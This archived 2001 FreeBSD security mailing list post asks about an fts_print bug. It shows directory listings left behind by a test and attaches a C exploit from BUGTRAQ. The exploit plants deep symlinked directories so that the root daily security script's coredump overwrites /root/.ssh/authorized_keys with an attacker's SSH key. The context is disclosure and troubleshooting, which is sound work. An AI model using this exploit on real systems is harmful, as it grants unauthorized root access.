Date: Fri, 23 Nov 2001 01:55:05 +0200 From: veedee@c7.campus.utcluj.ro To: freebsd-security@freebsd.org Subject: fts_print bug? Message-ID: <20011123015505.A5165@c7.campus.utcluj.ro>
next in thread | raw e-mail | index | archive | help
--YiEDa0DAkWCtVeE4
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Does anyone know anything about this?
It didn't worked on my box (4.3-RELEASE), but it did make some directories
which I can't erase anymore...
[#] rm -r 4965/
rm: fts_read: File name too long
[#] ls -lR 4965/
[[0m4965:
total 1
drwxr-xr-x 3 john users 512 Nov 23 01:48 [[01;34m
YOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!
[[0m
4965/
YOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!
:
total 1
drwxr-xr-x 3 john users 512 Nov 23 01:48
[[01;34mAAAAAAAAAAAAAAAAAA
4965/
YOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!
/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
total 1
drwxr-xr-x 3 john users 512 Nov 23 01:48 [[01;34m
YOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!
[[0m
4965/
YOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!
/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
YOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!
:
total 1
drwxr-xr-x 3 john users 512 Nov 23 01:48
[[01;34mAAAAAAAAAAAAAAAAAA
4965/
YOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!
/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
YOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!
/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
total 1
drwxr-xr-x 3 john users 512 Nov 23 01:48 [[01;34m
YOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!
[[0m
4965/
YOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!
/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
YOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!
/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
YOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!
----
Sorry for the messy output. A friend of mine found the "exploit" (see
attachement) on BUGTRAQ.
Best regards,
Radu Bogdan Rusu (aka veedee)
C7 Campus Network System Administrator
--YiEDa0DAkWCtVeE4
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="a.c"
/*
(c) 1999 babcia padlina ltd. <babunia@FreeBSD.lublin.pl>
bug in fts_print function allows to overwrite any file in system, when
running /etc/security script (executed from 'daily' scripts).
affected systems:
- freebsd (all versions)
- probably openbsd/netbsd
fix:
- limit root's coredump size
- patch libc
*/
#include <stdio.h>
#include <errno.h>
#include <sys/stat.h>
#include <strings.h>
#include <unistd.h>
#define STRING "\nYOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!\n"
#define FILE "/root/.ssh/authorized_keys"
#define CORE "find.core"
#define DEPTH 300
#define BUFSIZE 250
int makedir(dir, linkfrom, linkto)
char *dir, *linkfrom, *linkto;
{
if (mkdir(dir, (S_IRWXU | S_IRWXG | S_IRWXO)))
return -1;
if (chdir(dir))
return -1;
if (symlink(linkfrom, linkto) < 0)
return -1;
return 0;
}
int main(argc, argv)
int argc;
char **argv;
{
int i = 0;
char pid[10], buf[BUFSIZE];
sprintf(pid, "%d", getpid());
if (mkdir(pid, (S_IRWXU | S_IRWXG | S_IRWXO)))
{
perror("mkdir()");
return -1;
}
if (chdir(pid))
{
perror("chdir()");
return -1;
}
bzero(buf, BUFSIZE);
memset(buf, 0x41, BUFSIZE-1);
for(i=0;i<DEPTH;i++)
{
if (makedir(STRING, FILE, CORE) < 0)
{
perror("makedir()");
return -1;
}
if(makedir(buf, FILE, CORE) < 0)
{
perror("makedir()");
return -1;
}
}
return 0;
}
/*
- ---
* Fido: 2:480/124 ** WWW: FreeBSD.lublin.pl/~venglin ** GSM: +48-601-383657
*
* Inet: venglin@FreeBSD.lublin.pl ** PGP: D48684904685DF43 EA93AFA13BE170BF
*
-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 5.0i for non-commercial use
Charset: noconv
*/
--YiEDa0DAkWCtVeE4--
To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?20011123015505.A5165>